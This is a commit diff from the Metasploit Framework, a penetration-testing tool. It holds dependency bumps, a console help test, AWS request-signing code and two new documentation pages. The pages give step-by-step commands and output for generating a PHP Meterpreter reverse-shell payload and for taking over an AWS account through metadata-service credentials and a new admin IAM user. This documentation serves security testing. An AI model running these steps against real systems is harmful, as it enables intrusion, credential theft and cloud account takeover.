Compare commits
136 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f29c9a7c45 | |||
| 8b02f422f7 | |||
| 47df88a5cc | |||
| 4a1f881f10 | |||
| 52346c3fa8 | |||
| 4ebf57ac50 | |||
| 511e421b9c | |||
| ca1cc11d9f | |||
| e7eece60d8 | |||
| 27ba8f00df | |||
| f377774de0 | |||
| fa016de78a | |||
| 082a8949e4 | |||
| 7aa743b205 | |||
| 446cb02ebc | |||
| cfca18906f | |||
| 462e91ed22 | |||
| ccba73b324 | |||
| 24cf756f5b | |||
| 62a9a31222 | |||
| 7d36d41b20 | |||
| ee7d5fc0c9 | |||
| 4570a7198c | |||
| 25b069f6b4 | |||
| 7aec68c1fe | |||
| 7a654ca76c | |||
| b74482aa6e | |||
| 12b296ab1a | |||
| f0dca7abbf | |||
| 2b0bce6459 | |||
| 4e235be484 | |||
| 8780c325a7 | |||
| 77dd952370 | |||
| 17c12a78f5 | |||
| 12af07d8cb | |||
| a267101413 | |||
| 50f95f9940 | |||
| 6dcdf74850 | |||
| e9ce622db7 | |||
| e0a06bb315 | |||
| 0d41160b03 | |||
| a17d1a7e19 | |||
| b9a7ed915a | |||
| eeef8fa6ad | |||
| 4614b7023d | |||
| aa29fcad80 | |||
| 35340ece94 | |||
| 70668c289f | |||
| 3e412a8de3 | |||
| 162204b338 | |||
| aaa49550a7 | |||
| 9a7c0eb7b6 | |||
| ba9ce3fcfb | |||
| 657fadbe01 | |||
| 7dd2d3e226 | |||
| 74b3a00035 | |||
| 33add4c11f | |||
| ee0e5e8681 | |||
| a9cb08a352 | |||
| 99ba1e45ff | |||
| a54c0c4e1f | |||
| 48c9e7dfd5 | |||
| 630d87907c | |||
| b902b4c28a | |||
| a99042a54d | |||
| fc1d601d13 | |||
| d3a8409a49 | |||
| 1c3f0437ed | |||
| 0b46e90bbb | |||
| a13382c80b | |||
| 8f21a1f68c | |||
| c5641c9681 | |||
| 606232828f | |||
| dc53057639 | |||
| c8f6ac99a1 | |||
| d3225ce2fb | |||
| f734031804 | |||
| d091a32be8 | |||
| b553e26117 | |||
| 1ec7474067 | |||
| 62f0e7b20a | |||
| 66363f1643 | |||
| 7346223a65 | |||
| b4a2a6ed60 | |||
| 2839b198ba | |||
| ffee0ff1b6 | |||
| 7edb5e19e2 | |||
| ce23c2db53 | |||
| d8af532407 | |||
| e2a646f9d3 | |||
| 85a3889eea | |||
| f56c7f9a8e | |||
| d85f9880ff | |||
| ab2e88a49e | |||
| 6557a84784 | |||
| 2008dcb946 | |||
| 917b45664b | |||
| 5a2eb29a1b | |||
| 4da614532b | |||
| 72a20ce464 | |||
| 8f077e1bf5 | |||
| 78480e31e7 | |||
| b494d069f7 | |||
| 92751714c1 | |||
| bdc2e7c3cd | |||
| 3fad75641d | |||
| 497e02955b | |||
| 834756c337 | |||
| 090dac6d24 | |||
| 94a15920ec | |||
| 468bf4696f | |||
| bdfaaf01b2 | |||
| bd8f8fd6cb | |||
| beca63645e | |||
| cb0313642b | |||
| 46ce1dfaab | |||
| f8789fef38 | |||
| a49a983079 | |||
| e8d7a074fa | |||
| 53a66585cf | |||
| 5e8a47ac00 | |||
| 496836fc06 | |||
| e8158bd200 | |||
| 83e0a21a52 | |||
| 0700b17f7e | |||
| b4add59a3d | |||
| 5fdd5a7326 | |||
| c48587066d | |||
| 43e1b5bdd1 | |||
| 0eaeeb4aa7 | |||
| c606eabbb9 | |||
| 83a3a4e348 | |||
| b0970783ff | |||
| 09d9733a75 | |||
| cc8c1adc00 | |||
| 494b4e67bd |
+10
-10
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.4)
|
||||
metasploit-framework (4.13.7)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -14,9 +14,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.1)
|
||||
metasploit-payloads (= 1.2.4)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.2)
|
||||
metasploit_payloads-mettle (= 0.1.4)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@@ -33,7 +33,7 @@ PATH
|
||||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch (= 0.1.2)
|
||||
rex-arch (= 0.1.4)
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
@@ -104,7 +104,7 @@ GEM
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.10.2)
|
||||
capybara (2.11.0)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
@@ -169,7 +169,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.1)
|
||||
metasploit-payloads (1.2.4)
|
||||
metasploit_data_models (2.0.10)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -180,7 +180,7 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.2)
|
||||
metasploit_payloads-mettle (0.1.4)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
@@ -232,12 +232,12 @@ GEM
|
||||
activesupport (= 4.2.7.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.3.0)
|
||||
rake (12.0.0)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.1.2)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-arch (0.1.2)
|
||||
rex-arch (0.1.4)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.1)
|
||||
metasm
|
||||
@@ -250,7 +250,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.3)
|
||||
rex-exploitation (0.1.4)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module _can_ be cross platform, but the target needs to be able to run php code.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.
|
||||
|
||||
## Deploying php/meterpreter/reverse_tcp
|
||||
### Scenarios
|
||||
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
|
||||
#### Generating a file with msfvenom
|
||||
```
|
||||
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
|
||||
```
|
||||
|
||||
|
||||
#### Starting a listener
|
||||
```
|
||||
msf > use multi/handler
|
||||
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
|
||||
PAYLOAD => php/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set LHOST [IP]
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter
|
||||
has less commands, but here's a list of all the common ones you might need:
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/Users/thecarterb/Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /Users/thecarterb/Desktop
|
||||
meterpreter > pwd
|
||||
/Users/thecarterb/Desktop
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
Hello World!
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
|
||||
[*] uploading : /tmp/data.txt -> /Users/thecarterb/Desktop
|
||||
[*] uploaded : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
|
||||
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
[*] download : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example,
|
||||
this shows how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 2 results...
|
||||
.\pass.txt (13 bytes)
|
||||
./creds\data.txt (83 bytes)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the command allows you to search recursively.
|
||||
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following examples uses the command to create a text file:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 73642 created.
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 74513 created.
|
||||
Channel 2 created.
|
||||
sh-3.2#
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
## Using `post` modules
|
||||
When using the PHP Meterpreter, you have the feature of using Metasploit's `post` modules on that specific session. By default, most `multi` post modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can use `osx` post modules on that session.
|
||||
|
||||
__Don't forget to:__
|
||||
- Set the `LHOST` datastore option to the connect-back IP Address
|
||||
- If you want to get multiple shells, set `ExitOnSession` to `false`
|
||||
@@ -0,0 +1,284 @@
|
||||
# aws_create_iam_user
|
||||
|
||||
aws_create_iam_user is a simple post module that can be used to take over AWS
|
||||
accounts. Sure, it is fun enough to take over a single host, but you can own all
|
||||
hosts in the account if you simply create an admin user.
|
||||
|
||||
# Background
|
||||
|
||||
## Instance Profiles
|
||||
|
||||
An Instance Profile is an AWS construct that maps a role to a host (instance).
|
||||
Not all hosts have instance profiles and/or may have restricted privileges.
|
||||
AWS roles are composed of policies which specify API calls that the host is
|
||||
allowed to make.
|
||||
|
||||
## Privileges
|
||||
|
||||
This module depends on administrators being lazy and not using the least
|
||||
privileges possible. We often see instances assigned `*.*` roles that allow
|
||||
any user on the instance to make any API call including creating admin users.
|
||||
When this occours, a user with long lived credentials can be created and calls
|
||||
against the AWS API can be made from anywhere on the Internet. Once an account
|
||||
is taken over in this manner instances can be spun up, other users can be locked
|
||||
out, networks can be traversed, and many other dangeous things can happen.
|
||||
|
||||
Only on rare cases should hosts have the following privileges, these should be
|
||||
restriced.
|
||||
|
||||
* iam:CreateUser
|
||||
* iam:CreateGroup
|
||||
* iam:PutGroupPolicy
|
||||
* iam:AddUserToGroup
|
||||
* iam:CreateAccessKey
|
||||
|
||||
This module will attempt all API calls listed above in sequence. Account takeover
|
||||
may succeed even if intermediate API calls fail. E.g., we may not be able to
|
||||
create a new user, but we may be able to create access keys for an existing user.
|
||||
|
||||
## Metadata Service
|
||||
|
||||
The metadata service is a mechanism the AWS hypervisor employs to pass
|
||||
information down into hosts. Any AWS host can retrieve information about itself
|
||||
and its environemtn by curling http://169.254.169.254/. This mechanism is also
|
||||
used to pass temporary credentials to a host. This module pulls these temporary
|
||||
credentials and attempts to create a user with admin privileges.
|
||||
|
||||
To manually check that a host has an instance profile you can simply curl the
|
||||
metadata service like so:
|
||||
|
||||
```
|
||||
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
SOME_ROLE_NAME
|
||||
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
|
||||
{
|
||||
"Code" : "Success",
|
||||
"LastUpdated" : "2016-12-07T18:36:48Z",
|
||||
"Type" : "AWS-HMAC",
|
||||
"AccessKeyId" : "ASIA
|
||||
...
|
||||
```
|
||||
|
||||
# Usage
|
||||
|
||||
aws_create_iam_user can be used to take over an AWS account given access to
|
||||
a host having 1). overly permissive instance profile/role, 2). API Access keys.
|
||||
Once a foothold is established, you can run the module to pull temporary
|
||||
access keys from the metadata service. If this fails, search the instance for
|
||||
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
|
||||
`SecretAccessKey`, & `Token` (optional).
|
||||
|
||||
## Establish a foothold
|
||||
|
||||
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
|
||||
foothold and launch a meterpreter session.
|
||||
|
||||
```
|
||||
$ ./msfconsole
|
||||
...
|
||||
msf > use exploit/multi/ssh/sshexec
|
||||
msf exploit(sshexec) > set password some_user
|
||||
password => some_user
|
||||
msf exploit(sshexec) > set username some_user
|
||||
username => some_user
|
||||
msf exploit(sshexec) > set RHOST 192.168.1.2
|
||||
RHOST => 192.168.1.2
|
||||
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
|
||||
payload => linux/x86/meterpreter/bind_tcp
|
||||
msf exploit(sshexec) > exploit -j
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started bind handler
|
||||
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Command Stager progress - 42.09% done (306/727 bytes)
|
||||
[*] Command Stager progress - 100.00% done (727/727 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.1.2
|
||||
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
|
||||
```
|
||||
|
||||
We will be using session 1.
|
||||
|
||||
```
|
||||
msf exploit(sshexec) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default the module will:
|
||||
|
||||
* create a randomly named IAM user and group
|
||||
* generate API Keys and User password for after
|
||||
|
||||
In the event that the session'd AWS instance does not have an IAM role assigned
|
||||
to it with sufficient privileges, the following options can be used to provide
|
||||
specific authentication material:
|
||||
|
||||
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
|
||||
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
|
||||
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
|
||||
|
||||
The following options control the account that is being created:
|
||||
|
||||
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
|
||||
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
|
||||
* `CREATE_API`: when true, creates API keys for this user
|
||||
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
|
||||
|
||||
```
|
||||
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
|
||||
msf post(aws_create_iam_user) > show options
|
||||
|
||||
Module options (post/multi/escalate/aws_create_iam_user):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AccessKeyId no AWS access key
|
||||
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
|
||||
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
|
||||
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
|
||||
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
|
||||
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
SESSION yes The session to run this module on.
|
||||
SecretAccessKey no AWS secret key
|
||||
Token no AWS session token
|
||||
|
||||
```
|
||||
|
||||
## Abusing an Overly Permissive Instance Profile
|
||||
|
||||
Here we are assuming that we have taken over a host having an instance profile with
|
||||
overly permissive access. Once a session is established, we can load
|
||||
`aws_create_iam_user` and specify a meterpreter sesssion,
|
||||
e.g., `SESSION 1` and run the exploit.
|
||||
|
||||
```
|
||||
msf post(aws_create_iam_user) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(aws_create_iam_user) > exploit
|
||||
|
||||
[*] 169.254.169.254 - looking for creds...
|
||||
[*] Creating user: gavgpsjXwj5HIxiz
|
||||
[*] Creating group: gavgpsjXwj5HIxiz
|
||||
[*] Creating group policy: gavgpsjXwj5HIxiz
|
||||
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
|
||||
[*] Creating API Keys for gavgpsjXwj5HIxiz
|
||||
[*] Creating password for gavgpsjXwj5HIxiz
|
||||
AWS Account Information
|
||||
=======================
|
||||
|
||||
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
|
||||
-------- --------- --------------- ----------- -------- ---------
|
||||
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
|
||||
|
||||
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
|
||||
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
|
||||
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
|
||||
```
|
||||
|
||||
If the host does not have an instance profile or the right access, the output will look like so:
|
||||
|
||||
```
|
||||
[*] 169.254.169.254 - looking for creds...
|
||||
[*] Creating user: 3SFFML3ucP1AyP7J
|
||||
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
|
||||
[*] Creating group: 3SFFML3ucP1AyP7J
|
||||
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
|
||||
[*] Creating group policy: 3SFFML3ucP1AyP7J
|
||||
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
|
||||
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
|
||||
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
|
||||
[*] Creating API Keys for 3SFFML3ucP1AyP7J
|
||||
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
## Abusing API Access Keys
|
||||
|
||||
In the case that the host we have taken over has no instance profile or does not
|
||||
have the required privileges, we can search the host for access keys with
|
||||
something like `grep -r AKIA /`. These keys may have admin privileges at which
|
||||
point you own the account, if not we may be able to escalate privileges.
|
||||
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
|
||||
the exploit to test this possibility.
|
||||
|
||||
```
|
||||
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
|
||||
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
|
||||
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
|
||||
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
|
||||
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
|
||||
msf post(aws_create_iam_user) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(aws_create_iam_user) > run
|
||||
|
||||
[*] 169.254.169.254 - looking for creds...
|
||||
[*] Creating user: bZWsmzyupDWxe8CT
|
||||
[*] Creating group: bZWsmzyupDWxe8CT
|
||||
[*] Creating group policy: bZWsmzyupDWxe8CT
|
||||
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
|
||||
[*] Creating API Keys for bZWsmzyupDWxe8CT
|
||||
[*] Creating password for bZWsmzyupDWxe8CT
|
||||
AWS Account Information
|
||||
=======================
|
||||
|
||||
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
|
||||
-------- --------- --------------- ----------- -------- ---------
|
||||
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
|
||||
|
||||
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
|
||||
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
|
||||
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
## Next Steps
|
||||
|
||||
Information necessary to use the created account is printed to the screen and stored in loot:
|
||||
|
||||
```
|
||||
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
|
||||
{
|
||||
"UserName": "As56ekIV59OgoFOj",
|
||||
"GroupName": "As56ekIV59OgoFOj",
|
||||
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
|
||||
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
|
||||
"Password": "As56ekIV59OgoFOj",
|
||||
"AccountId": "xxx"
|
||||
```
|
||||
|
||||
These creds can be used to call the AWS API directly or you can login using the console.
|
||||
|
||||
Configuring the CLI:
|
||||
|
||||
```
|
||||
$ aws configure --profile test
|
||||
AWS Access Key ID [None]: AKIA...
|
||||
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
|
||||
Default region name [None]: us-west-2
|
||||
Default output format [None]: json
|
||||
```
|
||||
|
||||
Call the API, e.g., get the Account ID:
|
||||
|
||||
```
|
||||
$ aws iam --profile test list-account-aliases
|
||||
{
|
||||
"AccountAliases": [
|
||||
"Account_ID"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Login via the console using the username and password:
|
||||
|
||||
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
|
||||
@@ -1,7 +1,7 @@
|
||||
Feature: Help command
|
||||
|
||||
Background:
|
||||
Given I run `msfconsole --defer-module-loads -x help -x exit`
|
||||
Given I run `msfconsole --defer-module-loads -q -x help -x exit`
|
||||
|
||||
Scenario: The 'help' command's output
|
||||
Then the output should contain:
|
||||
@@ -12,51 +12,73 @@ Feature: Help command
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
advanced Displays advanced options for one or more modules
|
||||
back Move back from the current context
|
||||
banner Display an awesome metasploit banner
|
||||
cd Change the current working directory
|
||||
color Toggle color
|
||||
connect Communicate with a host
|
||||
edit Edit the current module with $VISUAL or $EDITOR
|
||||
exit Exit the console
|
||||
get Gets the value of a context-specific variable
|
||||
getg Gets the value of a global variable
|
||||
grep Grep the output of another command
|
||||
help Help menu
|
||||
info Displays information about one or more modules
|
||||
irb Drop into irb scripting mode
|
||||
jobs Displays and manages jobs
|
||||
kill Kill a job
|
||||
load Load a framework plugin
|
||||
loadpath Searches for and loads modules from a path
|
||||
makerc Save commands entered since start to a file
|
||||
options Displays global options or for one or more modules
|
||||
popm Pops the latest module off the stack and makes it active
|
||||
previous Sets the previously loaded module as the current module
|
||||
pushm Pushes the active or list of modules onto the module stack
|
||||
quit Exit the console
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
rename_job Rename a job
|
||||
resource Run the commands stored in a file
|
||||
route Route traffic through a session
|
||||
save Saves the active datastores
|
||||
search Searches module names and descriptions
|
||||
sess Interact with a given session
|
||||
sessions Dump session listings and display information about sessions
|
||||
set Sets a context-specific variable to a value
|
||||
setg Sets a global variable to a value
|
||||
show Displays modules of a given type, or all modules
|
||||
sleep Do nothing for the specified number of seconds
|
||||
spool Write console output into a file as well the screen
|
||||
threads View and manipulate background threads
|
||||
unload Unload a framework plugin
|
||||
unset Unsets one or more context-specific variables
|
||||
unsetg Unsets one or more global variables
|
||||
use Selects a module by name
|
||||
version Show the framework and console library version numbers
|
||||
|
||||
|
||||
Module Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
advanced Displays advanced options for one or more modules
|
||||
back Move back from the current context
|
||||
edit Edit the current module with $VISUAL or $EDITOR
|
||||
info Displays information about one or more modules
|
||||
loadpath Searches for and loads modules from a path
|
||||
options Displays global options or for one or more modules
|
||||
popm Pops the latest module off the stack and makes it active
|
||||
previous Sets the previously loaded module as the current module
|
||||
pushm Pushes the active or list of modules onto the module stack
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
search Searches module names and descriptions
|
||||
show Displays modules of a given type, or all modules
|
||||
use Selects a module by name
|
||||
|
||||
|
||||
Job Commands
|
||||
============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
handler Start a payload handler as job
|
||||
jobs Displays and manages jobs
|
||||
kill Kill a job
|
||||
rename_job Rename a job
|
||||
|
||||
|
||||
Resource Script Commands
|
||||
========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
makerc Save commands entered since start to a file
|
||||
resource Run the commands stored in a file
|
||||
|
||||
|
||||
Database Backend Commands
|
||||
=========================
|
||||
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
require 'openssl'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Aws
|
||||
module Client
|
||||
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
# because Post modules require these to be defined when including HttpClient
|
||||
def register_autofilter_ports(ports=[]); end
|
||||
def register_autofilter_hosts(ports=[]); end
|
||||
def register_autofilter_services(services=[]); end
|
||||
|
||||
def hexdigest(value)
|
||||
if value.nil? || !value.instance_of?(String)
|
||||
print_error "Unexpected value format"
|
||||
return nil
|
||||
end
|
||||
digest = OpenSSL::Digest::SHA256.new
|
||||
if value.respond_to?(:read)
|
||||
chunk = nil
|
||||
chunk_size = 1024 * 1024 # 1 megabyte
|
||||
digest.update(chunk) while chunk = value.read(chunk_size)
|
||||
value.rewind
|
||||
else
|
||||
digest.update(value)
|
||||
end
|
||||
digest.hexdigest
|
||||
end
|
||||
|
||||
def hmac(key, value)
|
||||
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
|
||||
print_error "Unexpected key/value format"
|
||||
return nil
|
||||
end
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value)
|
||||
end
|
||||
|
||||
def hexhmac(key, value)
|
||||
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
|
||||
print_error "Unexpected key/value format"
|
||||
return nil
|
||||
end
|
||||
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value)
|
||||
end
|
||||
|
||||
def request_to_sign(headers, body_digest)
|
||||
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
|
||||
return nil, nil
|
||||
end
|
||||
headers_block = headers.sort_by(&:first).map do |k, v|
|
||||
v = "#{v},#{v}" if k == 'Host'
|
||||
"#{k.downcase}:#{v}"
|
||||
end.join("\n")
|
||||
headers_list = headers.keys.sort.map(&:downcase).join(';')
|
||||
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n")
|
||||
[headers_list, flat_request]
|
||||
end
|
||||
|
||||
def sign(creds, service, headers, body_digest, now)
|
||||
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8])
|
||||
region_mac = hmac(date_mac, datastore['Region'])
|
||||
service_mac = hmac(region_mac, service)
|
||||
credentials_mac = hmac(service_mac, 'aws4_request')
|
||||
headers_list, flat_request = request_to_sign(headers, body_digest)
|
||||
